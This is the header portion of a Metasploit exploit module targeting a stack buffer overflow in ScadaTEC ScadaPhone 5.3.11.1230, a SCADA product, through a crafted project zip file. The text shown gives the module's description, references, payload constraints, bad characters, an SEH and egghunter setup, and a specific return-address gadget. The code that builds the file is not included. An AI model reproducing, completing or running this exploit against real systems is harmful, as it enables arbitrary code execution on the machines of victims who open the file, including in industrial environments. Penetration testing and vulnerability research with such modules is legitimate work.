##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex/zip'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'ScadaTEC ScadaPhone <= v5.3.11.1230 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
version 5.3.11.1230 of scadaTEC's ScadaPhone.
In order for the command to be executed, an attacker must convince someone to
load a specially crafted project zip file with ScadaPhone.
By doing so, an attacker can execute arbitrary code as the victim user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # found + msf
],
'Version' => '$Revision: 13728 $',
'References' =>
[
#[ 'CVE', '' ],
[ 'OSVDB', '75375' ],
[ 'URL', 'http://www.scadatec.com/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/17817/' ],
],
'Platform' => [ 'win' ],
'Payload' =>
{
'Space' => 700,
'BadChars' => "\x00\x0a\x0d",
'DisableNops' => true,
},
'Targets' =>
[
# POP ESI; POP EBX; RETN [ScadaPhone.exe]
[ 'Windows Universal', { 'Ret' => 0x004014F4 } ],
],
'DisclosureDate' => 'Sep 12 2011',
'DefaultTarget' => 0))